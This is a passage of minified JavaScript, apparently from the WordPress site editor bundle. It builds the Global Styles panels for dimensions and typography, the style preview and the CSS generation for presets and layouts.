e&&e.length>0}(),c=(0,_.__experimentalUseCustomUnits)({availableUnits:Kn("spacing.units",t)[0]||["%","px","em","rem","vw"]}),{contentSizeValue:u,setContentSizeValue:m,hasUserSetContentSizeValue:d,resetContentSizeValue:p}=function(e){const[t,n]=Kn("layout.contentSize",e),[l]=Kn("layout.contentSize",e,"user");return{contentSizeValue:t,setContentSizeValue:n,hasUserSetContentSizeValue:()=>!!l,resetContentSizeValue:()=>n("")}}(t),{wideSizeValue:f,setWideSizeValue:E,hasUserSetWideSizeValue:v,resetWideSizeValue:y}=function(e){const[t,n]=Kn("layout.wideSize",e),[l]=Kn("layout.wideSize",e,"user");return{wideSizeValue:t,setWideSizeValue:n,hasUserSetWideSizeValue:()=>!!l,resetWideSizeValue:()=>n("")}}(t),{paddingValues:b,paddingSides:w,isAxialPadding:x,setPaddingValues:S,resetPaddingValue:k,hasPaddingValue:C}=function(e){const[t,n]=Zn("spacing.padding",e),l=yl(t),a=(0,ge.__experimentalUseCustomSides)(e,"padding"),r=a&&a.some((e=>dl.includes(e))),o=e=>{const t=vl(e,a);n(t)},[i]=Zn("spacing.padding",e,"user");return{paddingValues:l,paddingSides:a,isAxialPadding:r,setPaddingValues:o,resetPaddingValue:()=>o({}),hasPaddingValue:()=>!!i}}(t),{marginValues:T,marginSides:N,isAxialMargin:I,setMarginValues:M,resetMarginValue:P,hasMarginValue:B}=function(e){const[t,n]=Zn("spacing.margin",e),l=yl(t),a=(0,ge.__experimentalUseCustomSides)(e,"margin"),r=a&&a.some((e=>dl.includes(e))),o=e=>{const t=vl(e,a);n(t)};return{marginValues:l,marginSides:a,isAxialMargin:r,setMarginValues:o,resetMarginValue:()=>o({}),hasMarginValue:()=>!!l&&Object.keys(l).length}}(t),{gapValue:V,gapValues:z,gapSides:A,isAxialGap:R,setGapValue:L,setGapValues:O,resetGapValue:F,hasGapValue:D}=function(e){const[t,n]=Zn("spacing.blockGap",e),l=(a=t)&&"string"==typeof a?{top:a}:a?{...a,right:null==a?void 0:a.left,bottom:null==a?void 0:a.top}:a;var a;const r=(0,ge.__experimentalUseCustomSides)(e,"blockGap"),o=r&&r.some((e=>dl.includes(e))),[i]=Zn("spacing.blockGap",e,"user");return{gapValue:t,gapValues:l,gapSides:r,isAxialGap:o,setGapValue:n,setGapValues:e=>{e||n(null),!o&&null!=e&&e.hasOwnProperty("top")?n(e.top):n({top:null==e?void 0:e.top,left:null==e?void 0:e.left})},resetGapValue:()=>n(void 0),hasGapValue:()=>!!i}}(t);return(0,o.createElement)(_.__experimentalToolsPanel,{label:(0,h.__)("Dimensions"),resetAll:()=>{k(),P(),F(),p(),y()}},(n||l)&&(0,o.createElement)("span",{className:"span-columns"},(0,h.__)("Set the width of the main content area.")),n&&(0,o.createElement)(_.__experimentalToolsPanelItem,{className:"single-column",label:(0,h.__)("Content size"),hasValue:d,onDeselect:p,isShownByDefault:!0},(0,o.createElement)(_.__experimentalHStack,{alignment:"flex-end",justify:"flex-start"},(0,o.createElement)(_.__experimentalUnitControl,{label:(0,h.__)("Content"),labelPosition:"top",__unstableInputWidth:"80px",value:u||"",onChange:e=>{m(e)},units:c}),(0,o.createElement)(_.__experimentalView,null,(0,o.createElement)(ae,{icon:ul})))),l&&(0,o.createElement)(_.__experimentalToolsPanelItem,{className:"single-column",label:(0,h.__)("Wide size"),hasValue:v,onDeselect:y,isShownByDefault:!0},(0,o.createElement)(_.__experimentalHStack,{alignment:"flex-end",justify:"flex-start"},(0,o.createElement)(_.__experimentalUnitControl,{label:(0,h.__)("Wide"),labelPosition:"top",__unstableInputWidth:"80px",value:f||"",onChange:e=>{E(e)},units:c}),(0,o.createElement)(_.__experimentalView,null,(0,o.createElement)(ae,{icon:ml})))),a&&(0,o.createElement)(_.__experimentalToolsPanelItem,{hasValue:C,label:(0,h.__)("Padding"),onDeselect:k,isShownByDefault:!0,className:g()({"tools-panel-item-spacing":s})},!s&&(0,o.createElement)(_.__experimentalBoxControl,{values:b,onChange:S,label:(0,h.__)("Padding"),sides:w,units:c,allowReset:!1,splitOnAxis:x}),s&&(0,o.createElement)(ge.__experimentalSpacingSizesControl,{values:b,onChange:S,label:(0,h.__)("Padding"),sides:w,units:c,allowReset:!1,splitOnAxis:x})),r&&(0,o.createElement)(_.__experimentalToolsPanelItem,{hasValue:B,label:(0,h.__)("Margin"),onDeselect:P,isShownByDefault:!0,className:g()({"tools-panel-item-spacing":s})},!s&&(0,o.createElement)(_.__experimentalBoxControl,{values:T,onChange:M,label:(0,h.__)("Margin"),sides:N,units:c,allowReset:!1,splitOnAxis:I}),s&&(0,o.createElement)(ge.__experimentalSpacingSizesControl,{values:T,onChange:M,label:(0,h.__)("Margin"),sides:N,units:c,allowReset:!1,splitOnAxis:I})),i&&(0,o.createElement)(_.__experimentalToolsPanelItem,{hasValue:D,label:(0,h.__)("Block spacing"),onDeselect:F,isShownByDefault:!0,className:g()({"tools-panel-item-spacing":s})},!s&&(R?(0,o.createElement)(_.__experimentalBoxControl,{label:(0,h.__)("Block spacing"),min:0,onChange:O,units:c,sides:A,values:z,allowReset:!1,splitOnAxis:R}):(0,o.createElement)(_.__experimentalUnitControl,{label:(0,h.__)("Block spacing"),__unstableInputWidth:"80px",min:0,onChange:L,units:c,value:V})),s&&(0,o.createElement)(ge.__experimentalSpacingSizesControl,{label:(0,h.__)("Block spacing"),min:0,onChange:O,sides:R?A:["top"],values:z,allowReset:!1,splitOnAxis:R})))}function wl(e){const t=xl(e),n=Sl(e),l=kl(e),a=Cl(e),r=Jn(e);return t||n||l||a||r.includes("fontSize")}function xl(e){const t=Jn(e),[n]=Kn("typography.fontFamilies",e);return t.includes("fontFamily")&&!(null==n||!n.length)}function Sl(e){const t=Jn(e);return Kn("typography.lineHeight",e)[0]&&t.includes("lineHeight")}function kl(e){const t=Jn(e),n=Kn("typography.fontStyle",e)[0]&&t.includes("fontStyle"),l=Kn("typography.fontWeight",e)[0]&&t.includes("fontWeight");return n||l}function Cl(e,t){return!!Kn("typography.letterSpacing",e)[0]&&(!e&&"heading"===t||Jn(e).includes("letterSpacing"))}function Tl(e,t){const[n,l]=Zn(e,t),[a]=Zn(e,t,"user");return[n,l,()=>!!a,()=>l(void 0)]}function Nl(e){let{name:t,element:n,headingLevel:l}=e;const a=Jn(t);let r="";"heading"===n?r=`elements.${l}.`:n&&"text"!==n&&(r=`elements.${n}.`);const[i]=Kn("typography.fontSizes",t),s=!Kn("typography.customFontSize",t)[0],[c]=Kn("typography.fontFamilies",t),u=Kn("typography.fontStyle",t)[0]&&a.includes("fontStyle"),m=Kn("typography.fontWeight",t)[0]&&a.includes("fontWeight"),d=xl(t),p=Sl(t),g=kl(t),f=function(e){const t=Jn(e),n=Kn("typography.fontStyle",e)[0]&&t.includes("fontStyle"),l=Kn("typography.fontWeight",e)[0]&&t.includes("fontWeight");return n?l?(0,h.__)("Appearance"):(0,h.__)("Font style"):(0,h.__)("Font weight")}(t),E=Cl(t,n),v=function(e,t){return!!Kn("typography.textTransform",e)[0]&&(!e&&"heading"===t||Jn(e).includes("textTransform"))}(t,n);let y=a.includes("fontSize");"heading"===n&&"heading"===l&&(y=!1);const[b,w,x,S]=Tl(r+"typography.fontFamily",t),[k,C,T,N]=Tl(r+"typography.fontSize",t),{fontStyle:I,setFontStyle:M,fontWeight:P,setFontWeight:B,hasFontAppearance:V,resetFontAppearance:z}=function(e,t){const[n,l]=Zn(e+"typography.fontStyle",t),[a]=Zn(e+"typography.fontStyle",t,"user"),[r,o]=Zn(e+"typography.fontWeight",t),[i]=Zn(e+"typography.fontWeight",t,"user");return{fontStyle:n,setFontStyle:l,fontWeight:r,setFontWeight:o,hasFontAppearance:()=>!!a||!!i,resetFontAppearance:()=>{l(void 0),o(void 0)}}}(r,t),[A,R,L,O]=Tl(r+"typography.lineHeight",t),[F,D,G,H]=Tl(r+"typography.letterSpacing",t),[$,U,W,j]=Tl(r+"typography.textTransform",t);return(0,o.createElement)(_.__experimentalToolsPanel,{label:(0,h.__)("Typography"),resetAll:()=>{S(),N(),z(),O(),H(),j()}},d&&(0,o.createElement)(_.__experimentalToolsPanelItem,{label:(0,h.__)("Font family"),hasValue:x,onDeselect:S,isShownByDefault:!0},(0,o.createElement)(ge.__experimentalFontFamilyControl,{fontFamilies:c,value:b,onChange:w,size:"__unstable-large",__nextHasNoMarginBottom:!0})),y&&(0,o.createElement)(_.__experimentalToolsPanelItem,{label:(0,h.__)("Font size"),hasValue:T,onDeselect:N,isShownByDefault:!0},(0,o.createElement)(_.FontSizePicker,{value:k,onChange:C,fontSizes:i,disableCustomFontSizes:s,withReset:!1,size:"__unstable-large",__nextHasNoMarginBottom:!0})),g&&(0,o.createElement)(_.__experimentalToolsPanelItem,{className:"single-column",label:f,hasValue:V,onDeselect:z,isShownByDefault:!0},(0,o.createElement)(ge.__experimentalFontAppearanceControl,{value:{fontStyle:I,fontWeight:P},onChange:e=>{let{fontStyle:t,fontWeight:n}=e;M(t),B(n)},hasFontStyles:u,hasFontWeights:m,size:"__unstable-large",__nextHasNoMarginBottom:!0})),p&&(0,o.createElement)(_.__experimentalToolsPanelItem,{className:"single-column",label:(0,h.__)("Line height"),hasValue:L,onDeselect:O,isShownByDefault:!0},(0,o.createElement)(ge.LineHeightControl,{__nextHasNoMarginBottom:!0,__unstableInputWidth:"auto",value:A,onChange:R,size:"__unstable-large"})),E&&(0,o.createElement)(_.__experimentalToolsPanelItem,{className:"single-column",label:(0,h.__)("Letter spacing"),hasValue:G,onDeselect:H,isShownByDefault:!0},(0,o.createElement)(ge.__experimentalLetterSpacingControl,{value:F,onChange:D,size:"__unstable-large",__unstableInputWidth:"auto"})),v&&(0,o.createElement)(_.__experimentalToolsPanelItem,{label:(0,h.__)("Letter case"),hasValue:W,onDeselect:j,isShownByDefault:!0},(0,o.createElement)(ge.__experimentalTextTransformControl,{value:$,onChange:U,showNone:!0,isBlock:!0,size:"__unstable-large",__nextHasNoMarginBottom:!0})))}const Il=function(e){let{name:t,parentMenu:n=""}=e;const l=wl(t),a=cl(t),r=nl(t),i=pl(t),s=r||i;return(0,o.createElement)(_.__experimentalItemGroup,null,l&&(0,o.createElement)(Rn,{icon:Ln,path:n+"/typography","aria-label":(0,h.__)("Typography styles")},(0,h.__)("Typography")),a&&(0,o.createElement)(Rn,{icon:On,path:n+"/colors","aria-label":(0,h.__)("Colors styles")},(0,h.__)("Colors")),s&&(0,o.createElement)(Rn,{icon:Fn,path:n+"/layout","aria-label":(0,h.__)("Layout styles")},(0,h.__)("Layout")))},Ml=window.wp.styleEngine,Pl={__experimentalBorder:"border",color:"color",spacing:"spacing",typography:"typography"};function Bl(e){var t;const n="var:";return null!=e&&null!==(t=e.startsWith)&&void 0!==t&&t.call(e,n)?`var(--wp--${e.slice(n.length).split("|").join("--")})`:e}function Vl(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};return(0,pt.reduce)($n,((n,l)=>{let{path:a,cssVarInfix:r,classes:o}=l;if(!o)return n;const i=(0,pt.get)(t,a,[]);return["default","theme","custom"].forEach((t=>{i[t]&&i[t].forEach((t=>{let{slug:l}=t;o.forEach((t=>{let{classSuffix:a,propertyName:o}=t;const i=`.has-${(0,pt.kebabCase)(l)}-${a}`,s=e.split(",").map((e=>`${e}${i}`)).join(","),c=`var(--wp--preset--${r}--${(0,pt.kebabCase)(l)})`;n+=`${s}{${o}: ${c} !important;}`}))}))})),n}),"")}function zl(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=arguments.length>1?arguments[1]:void 0,n=arguments.length>2?arguments[2]:void 0,l=[];return Object.keys(e).forEach((a=>{const r=t+(0,pt.kebabCase)(a.replace("/","-")),o=e[a];if(o instanceof Object){const e=r+n;l=[...l,...zl(o,e,n)]}else l.push(`${r}: ${o}`)})),l}function Al(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"",n=arguments.length>2?arguments[2]:void 0,l=arguments.length>3&&void 0!==arguments[3]?arguments[3]:{};const a=Hn===t,r=(0,pt.reduce)(i.__EXPERIMENTAL_STYLE_PROPERTY,((t,l,r)=>{let{value:o,properties:i,useEngine:s,rootOnly:c}=l;if(c&&!a)return t;const u=o;if("elements"===u[0]||s)return t;const m=(0,pt.get)(e,u);if("--wp--style--root--padding"===r&&("string"==typeof m||!n))return t;if(i&&"string"!=typeof m)Object.entries(i).forEach((e=>{const[n,l]=e;if(!(0,pt.get)(m,[l],!1))return;const a=n.startsWith("--")?n:(0,pt.kebabCase)(n);t.push(`${a}: ${Bl((0,pt.get)(m,[l]))}`)}));else if((0,pt.get)(e,u,!1)){const n=r.startsWith("--")?r:(0,pt.kebabCase)(r);t.push(`${n}: ${Bl((0,pt.get)(e,u))}`)}return t}),[]),o=(0,Ml.getCSSRules)(e);return o.forEach((e=>{var t;if(a&&n&&e.key.startsWith("padding"))return;const o=e.key.startsWith("--")?e.key:(0,pt.kebabCase)(e.key);let i=e.value;if("string"!=typeof i&&null!==(t=i)&&void 0!==t&&t.ref){var s;const e=i.ref.split(".");if(i=(0,pt.get)(l,e),!i||null!==(s=i)&&void 0!==s&&s.ref)return}r.push(`${o}: ${i}`)})),r}function Rl(e){var t,n,l,a,r;let{tree:o,style:i,selector:s,hasBlockGapSupport:c,hasFallbackGapSupport:u,fallbackGapValue:m}=e,d="",p=c?(0,ge.__experimentalGetGapCSSValue)(null==i||null===(t=i.spacing)||void 0===t?void 0:t.blockGap):"";if(u&&(s===Hn?p=p||"0.5em":!c&&m&&(p=m)),p&&null!=o&&null!==(n=o.settings)&&void 0!==n&&null!==(l=n.layout)&&void 0!==l&&l.definitions&&(Object.values(o.settings.layout.definitions).forEach((e=>{let{className:t,name:n,spacingStyles:l}=e;(c||"flex"===n)&&null!=l&&l.length&&l.forEach((e=>{const n=[];if(e.rules&&Object.entries(e.rules).forEach((e=>{let[t,l]=e;n.push(`${t}: ${l||p}`)})),n.length){let l="";l=c?s===Hn?`${s} .${t}${(null==e?void 0:e.selector)||""}`:`${s}.${t}${(null==e?void 0:e.selector)||""}`:s===Hn?`:where(.${t}${(null==e?void 0:e.selector)||""})`:`:where(${s}.${t}${(null==e?void 0:e.selector)||""})`,d+=`${l} { ${n.join("; ")}; }`}}))})),s===Hn&&c&&(d+=`${s} { --wp--style--block-gap: ${p}; }`)),s===Hn&&null!=o&&null!==(a=o.settings)&&void 0!==a&&null!==(r=a.layout)&&void 0!==r&&r.definitions){const e=["block","flex","grid"];Object.values(o.settings.layout.definitions).forEach((t=>{let{className:n,displayMode:l,baseStyles:a}=t;l&&e.includes(l)&&(d+=`${s} .${n} { display:${l}; }`),null!=a&&a.length&&a.forEach((e=>{const t=[];if(e.rules&&Object.entries(e.rules).forEach((e=>{let[n,l]=e;t.push(`${n}: ${l}`)})),t.length){const l=`${s} .${n}${(null==e?void 0:e.selector)||""}`;d+=`${l} { ${t.join("; ")}; }`}}))}))}return d}const Ll=(e,t)=>{var n,l;const a=[];if(null==e||!e.styles)return a;const r=e=>(0,pt.pickBy)(e,((e,t)=>["border","color","spacing","typography","filter","outline","shadow"].includes(t))),o=r(e.styles);return o&&a.push({styles:o,selector:Hn}),Object.entries(i.__EXPERIMENTAL_ELEMENTS).forEach((t=>{var n;let[l,r]=t;var o;null!==(n=e.styles)&&void 0!==n&&n.elements[l]&&a.push({styles:null===(o=e.styles)||void 0===o?void 0:o.elements[l],selector:r})})),Object.entries(null!==(n=null===(l=e.styles)||void 0===l?void 0:l.blocks)&&void 0!==n?n:{}).forEach((e=>{var n,l;let[o,s]=e;const c=r(s);c&&null!=t&&null!==(n=t[o])&&void 0!==n&&n.selector&&a.push({duotoneSelector:t[o].duotoneSelector,fallbackGapValue:t[o].fallbackGapValue,hasLayoutSupport:t[o].hasLayoutSupport,selector:t[o].selector,styles:c,featureSelectors:t[o].featureSelectors}),Object.entries(null!==(l=null==s?void 0:s.elements)&&void 0!==l?l:{}).forEach((e=>{let[n,l]=e;l&&null!=t&&t[o]&&null!==i.__EXPERIMENTAL_ELEMENTS&&void 0!==i.__EXPERIMENTAL_ELEMENTS&&i.__EXPERIMENTAL_ELEMENTS[n]&&a.push({styles:l,selector:t[o].selector.split(",").map((e=>i.__EXPERIMENTAL_ELEMENTS[n].split(",").map((t=>e+" "+t)))).join(",")})}))})),a},Ol=(e,t)=>{var n,l,a;const r=[];if(null==e||!e.settings)return r;const o=e=>{const t={};return $n.forEach((n=>{let{path:l}=n;const a=(0,pt.get)(e,l,!1);!1!==a&&(0,pt.set)(t,l,a)})),t},i=o(e.settings),s=null===(n=e.settings)||void 0===n?void 0:n.custom;return(0,pt.isEmpty)(i)&&!s||r.push({presets:i,custom:s,selector:Hn}),Object.entries(null!==(l=null===(a=e.settings)||void 0===a?void 0:a.blocks)&&void 0!==l?l:{}).forEach((e=>{let[n,l]=e;const a=o(l),i=l.custom;(0,pt.isEmpty)(a)&&!i||r.push({presets:a,custom:i,selector:t[n].selector})})),r},Fl=(e,t)=>{const n=Ol(e,t);let l="";return n.forEach((t=>{let{presets:n,custom:a,selector:r}=t;const o=function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=arguments.length>1?arguments[1]:void 0;return(0,pt.reduce)($n,((n,l)=>{let{path:a,valueKey:r,valueFunc:o,cssVarInfix:i}=l;const s=(0,pt.get)(e,a,[]);return["default","theme","custom"].forEach((e=>{s[e]&&s[e].forEach((e=>{r&&!o?n.push(`--wp--preset--${i}--${(0,pt.kebabCase)(e.slug)}: ${e[r]}`):o&&"function"==typeof o&&n.push(`--wp--preset--${i}--${(0,pt.kebabCase)(e.slug)}: ${o(e,t)}`)}))})),n}),[])}(n,null==e?void 0:e.settings),i=zl(a,"--wp--custom--","--");i.length>0&&o.push(...i),o.length>0&&(l+=`${r}{${o.join(";")};}`)})),l};function Dl(){const{merged:e}=(0,o.useContext)(Yn),[t]=Kn("spacing.blockGap"),n=null!==t,l=!n,a=(0,c.useSelect)((e=>{const{getSettings:t}=e(ge.store);return!!t().disableLayoutStyles}));return(0,o.useMemo)((()=>{if(null==e||!e.styles||null==e||!e.settings)return[];const t=(e=>{const t={};return e.forEach((e=>{var n,l,a,r,o,i,s,c,u;const m=e.name,d=null!==(n=null==e||null===(l=e.supports)||void 0===l?void 0:l.__experimentalSelector)&&void 0!==n?n:".wp-block-"+m.replace("core/","").replace("/","-"),p=null!==(a=null==e||null===(r=e.supports)||void 0===r||null===(o=r.color)||void 0===o?void 0:o.__experimentalDuotone)&&void 0!==a?a:null,g=!(null==e||null===(i=e.supports)||void 0===i||!i.__experimentalLayout),_=null==e||null===(s=e.supports)||void 0===s||null===(c=s.spacing)||void 0===c||null===(u=c.blockGap)||void 0===u?void 0:u.__experimentalDefault,h={};Object.entries(Pl).forEach((t=>{var n,l;let[a,r]=t;const o=null==e||null===(n=e.supports)||void 0===n||null===(l=n[a])||void 0===l?void 0:l.__experimentalSelector;o&&(h[r]=function(e,t){const n=e.split(","),l=t.split(","),a=[];return n.forEach((e=>{l.forEach((t=>{a.push(`${e.trim()} ${t.trim()}`)}))})),a.join(", ")}(d,o))})),t[m]={duotoneSelector:p,fallbackGapValue:_,featureSelectors:Object.keys(h).length?h:void 0,hasLayoutSupport:g,name:m,selector:d}})),t})((0,i.getBlockTypes)()),r=Fl(e,t),s=function(e,t,n,l){var a,r;let o=arguments.length>4&&void 0!==arguments[4]&&arguments[4];const i=Ll(e,t),s=Ol(e,t),c=null==e||null===(a=e.settings)||void 0===a?void 0:a.useRootPaddingAwareAlignments,{contentSize:u,wideSize:m}=(null==e||null===(r=e.settings)||void 0===r?void 0:r.layout)||{};let d="body {margin: 0;";if(u&&(d+=` --wp--style--global--content-size: ${u};`),m&&(d+=` --wp--style--global--wide-size: ${m};`),c&&(d+='padding-right: 0; padding-left: 0; padding-top: var(--wp--style--root--padding-top); padding-bottom: var(--wp--style--root--padding-bottom) }\n\t\t\t.has-global-padding { padding-right: var(--wp--style--root--padding-right); padding-left: var(--wp--style--root--padding-left); }\n\t\t\t.has-global-padding :where(.has-global-padding) { padding-right: 0; padding-left: 0; }\n\t\t\t.has-global-padding > .alignfull { margin-right: calc(var(--wp--style--root--padding-right) * -1); margin-left: calc(var(--wp--style--root--padding-left) * -1); }\n\t\t\t.has-global-padding :where(.has-global-padding) > .alignfull { margin-right: 0; margin-left: 0; }\n\t\t\t.has-global-padding > .alignfull:where(:not(.has-global-padding)) > :where([class*="wp-block-"]:not(.alignfull):not([class*="__"]),p,h1,h2,h3,h4,h5,h6,ul,ol) { padding-right: var(--wp--style--root--padding-right); padding-left: var(--wp--style--root--padding-left); }\n\t\t\t.has-global-padding :where(.has-global-padding) > .alignfull:where(:not(.has-global-padding)) > :where([class*="wp-block-"]:not(.alignfull):not([class*="__"]),p,h1,h2,h3,h4,h5,h6,ul,ol) { padding-right: 0; padding-left: 0;'),d+="}",i.forEach((t=>{let{selector:a,duotoneSelector:r,styles:i,fallbackGapValue:s,hasLayoutSupport:u,featureSelectors:m}=t;m&&Object.entries(m).forEach((e=>{let[t,n]=e;if(null!=i&&i[t]){const e=Al({[t]:i[t]});delete i[t],e.length&&(d+=`${n}{${e.join(";")} }`)}}));const p={};if(null!=i&&i.filter&&(p.filter=i.filter,delete i.filter),r){const e=Al(p);e.length>0&&(d+=`${r}{${e.join(";")};}`)}o||Hn!==a&&!u||(d+=Rl({tree:e,style:i,selector:a,hasBlockGapSupport:n,hasFallbackGapSupport:l,fallbackGapValue:s}));const g=Al(i,a,c,e);null!=g&&g.length&&(d+=`${a}{${g.join(";")};}`);const _=Object.entries(i).filter((e=>{let[t]=e;return t.startsWith(":")}));null!=_&&_.length&&_.forEach((e=>{let[t,n]=e;const l=Al(n);if(null==l||!l.length)return;const r=`${a.split(",").map((e=>e+t)).join(",")}{${l.join(";")};}`;d+=r}))})),d+=".wp-site-blocks > .alignleft { float: left; margin-right: 2em; }",d+=".wp-site-blocks > .alignright { float: right; margin-left: 2em; }",d+=".wp-site-blocks > .aligncenter { justify-content: center; margin-left: auto; margin-right: auto; }",n){var p,g;const t=(0,ge.__experimentalGetGapCSSValue)(null==e||null===(p=e.styles)||void 0===p||null===(g=p.spacing)||void 0===g?void 0:g.blockGap)||"0.5em";d+=".wp-site-blocks > * { margin-block-start: 0; margin-block-end: 0; }",d+=`.wp-site-blocks > * + * { margin-block-start: ${t}; }`}return s.forEach((e=>{let{selector:t,presets:n}=e;Hn===t&&(t="");const l=Vl(t,n);(0,pt.isEmpty)(l)||(d+=l)})),d}(e,t,n,l,a),c=function(e,t){return Ol(e,t).flatMap((e=>{let{presets:t}=e;return function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return $n.filter((e=>"duotone"===e.path.at(-1))).flatMap((t=>{const n=(0,pt.get)(e,t.path,{});return["default","theme"].filter((e=>n[e])).flatMap((e=>n[e].map((e=>(0,o.createElement)(ge.__unstablePresetDuotoneFilter,{preset:e,key:e.slug})))))}))}(t)}))}(e,t);return[[{css:r,isGlobalStyles:!0},{css:s,isGlobalStyles:!0}],e.settings,c]}),[n,l,e,a])}const Gl={start:{opacity:1,display:"block"},hover:{opacity:0,display:"none"}},Hl={hover:{opacity:1,display:"block"},start:{opacity:0,display:"none"}},$l=e=>{let{label:t,isFocused:n}=e;const[l]=Zn("typography.fontWeight"),[a="serif"]=Zn("typography.fontFamily"),[r=a]=Zn("elements.h1.typography.fontFamily"),[i=l]=Zn("elements.h1.typography.fontWeight"),[s="black"]=Zn("color.text"),[c=s]=Zn("elements.h1.color.text"),[u="blue"]=Zn("elements.link.color.text"),[m="white"]=Zn("color.background"),[d]=Zn("color.gradient"),[p]=Dl(),g=(0,J.useReducedMotion)(),[h]=Kn("color.palette.core"),[f]=Kn("color.palette.theme"),[E]=Kn("color.palette.custom"),[v,y]=(0,o.useState)(!1),[b,{width:w}]=(0,J.useResizeObserver)(),x=w?w/248:1,S=(null!=f?f:[]).concat(null!=E?E:[]).concat(null!=h?h:[]),k=S.filter((e=>{let{color:t}=e;return t!==m&&t!==c})).slice(0,2),C=(0,o.useMemo)((()=>p?[...p,{css:"body{min-width: 0;padding: 0;border: none;}",isGlobalStyles:!0}]:p),[p]);return(0,o.createElement)(ge.__unstableIframe,{className:"edit-site-global-styles-preview__iframe",head:(0,o.createElement)(ge.__unstableEditorStyles,{styles:C}),style:{height:152*x,visibility:w?"visible":"hidden"},onMouseEnter:()=>y(!0),onMouseLeave:()=>y(!1),tabIndex:-1},b,(0,o.createElement)(_.__unstableMotion.div,{style:{height:152*x,width:"100%",background:null!=d?d:m,cursor:"pointer"},initial:"start",animate:!v&&!n||g?"start":"hover"},(0,o.createElement)(_.__unstableMotion.div,{variants:Gl,style:{height:"100%",overflow:"hidden"}},(0,o.createElement)(_.__experimentalHStack,{spacing:10*x,justify:"center",style:{height:"100%",overflow:"hidden"}},(0,o.createElement)("div",{style:{fontFamily:r,fontSize:65*x,color:c,fontWeight:i}},"Aa"),(0,o.createElement)(_.__experimentalVStack,{spacing:4*x},k.map((e=>{let{slug:t,color:n}=e;return(0,o.createElement)("div",{key:t,style:{height:32*x,width:32*x,background:n,borderRadius:32*x/2}})}))))),(0,o.createElement)(_.__unstableMotion.div,{variants:Hl,style:{height:"100%",overflow:"hidden"}},(0,o.createElement)(_.__experimentalVStack,{spacing:3*x,justify:"center",style:{height:"100%",overflow:"hidden",padding:10*x,boxSizing:"border-box"}},t&&(0,o.createElement)("div",{style:{fontSize:35*x,fontFamily:r,color:c,fontWeight:i,lineHeight:"1em"}},t),(0,o.createElement)(_.__experimentalHStack,{spacing:2*x,justify:"flex-start"},(0,o.createElement)("div",{style:{fontFamily:a,fontSize:24*x,color:s}},"Aa"),(0,o.createElement)("div",{style:{fontFamily:a,fontSize:24*x,color:u}},"Aa")),S&&(0,o.createElement)(_.__experimentalHStack,{spacing:0},S.slice(0,4).map(((e,t)=>{let{color:n}=e;return(0,o.createElement)("div",{key:t,style:{height:10*x,width:30*x,background:n,flexGrow:1}})})))))))},Ul=function(){const{variations:e}=(0,c.useSelect)((e=>({variations:e(u.store).__experimentalGetCurrentThemeGlobalStylesVariations()})),[]);return(0,o.createElement)(_.Card,{size:"small"},(0,o.createElement)(_.CardBody,null,(0,o.createElement)(_.__experimentalVStack,{spacing:4},(0,o.createElement)(_.Card,null,(0,o.createElement)(_.CardMedia,null,(0,o.createElement)($l,null))),!(null==e||!e.length)&&(0,o.createElement)(_.__experimentalItemGroup,null,(0,o.createElement)(Rn,{path:"/variations","aria-label":(0,h.__)("Browse styles")},(0,o.createElement)(_.__experimentalHStack,{justify:"space-between"},(0,o.createElement)(_.FlexItem,null,(0,h.__)("Browse styles")),(0,o.createElement)(zn,{icon:(0,h.isRTL)()?re:oe})))),(0,o.createElement)(Il,null))),(0,o.createElement)(_.CardDivider,null),(0,o.createElement)(_.CardBody,null,(0,o.createElement)(_.__experimentalSpacer,{as:"p",paddingTop:2,paddingX:"13px",marginBottom:4},(0,h.__)("Customize the appearance of specific blocks for the whole site.")),(0,o.createElement)(_.__experimentalItemGroup,null,(0,o.createElement)(Rn,{path:"/blocks","aria-label":(0,h.__)("Blocks styles")},(0,o.createElement)(_.__experimentalHStack,{justify:"space-between"},(0,o.createElement)(_.FlexItem,null,(0,h.__)("Blocks")),(0,o.createElement)(zn,{icon:(0,h.isRTL)()?re:oe}))))))},Wl=function(e){let{title:t,description:n}=e;return(0,o.createElement)(_.__experimentalVStack,{spacing:0},(0,o.createElement)(_.__experimentalView,null,(0,o.createElement)(_.__experimentalSpacer,{marginBottom:0,paddingX:4,paddingY:3},(0,o.createElement)(_.__experimentalHStack,{spacing:2},(0,o.createElement)(_.__experimentalNavigatorBackButton,{style:{minWidth:24,padding:0},icon:(0,h.isRTL)()?oe:re,isSmall:!0,"aria-label":(0,h.__)("Navigate to the previous view")}),(0,o.createElement)(_.__experimentalSpacer,null,(0,o.createElement)(_.__experimentalHeading,{level:5},t))))),n&&(0,o.createElement)("p",{className:"edit-site-global-styles-header__description"},n))};function jl(e){let{block:t}=e;const n=wl(t.name),l=cl(t.name),a=nl(t.name),r=pl(t.name);if(!(n||l||a||r))return null;const i=(0,h.sprintf)(// translators: %s: is the name of a block e.g., 'Image' or 'Table'.
(0,h.__)("%s block styles"),t.title);return(0,o.createElement)(Rn,{path:"/blocks/"+t.name,"aria-label":i},(0,o.createElement)(_.__experimentalHStack,{justify:"flex-start"},(0,o.createElement)(ge.BlockIcon,{icon:t.icon}),(0,o.createElement)(_.FlexItem,null,t.title)))}const ql=function(){const e=function(){const e=(0,c.useSelect)((e=>e(i.store).getBlockTypes()),[]),{core:t,noncore:n}=e.reduce(((e,t)=>{const{core:n,noncore:l}=e;return(t.name.startsWith("core/")?n:l).push(t),e}),{core:[],noncore:[]});return[...t,...n]}(),[t,n]=(0,o.useState)(""),l=(0,J.useDebounce)(qe.speak,500),a=(0,c.useSelect)((e=>e(i.store).isMatchingSearchTerm),[]),r=(0,o.useMemo)((()=>t?e.filter((e=>a(e,t))):e),[t,e,a]),s=(0,o.useRef)();return(0,o.useEffect)((()=>{if(!t)return;const e=s.current.childElementCount,n=(0,h.sprintf)(
/* translators: %d: number of results. */
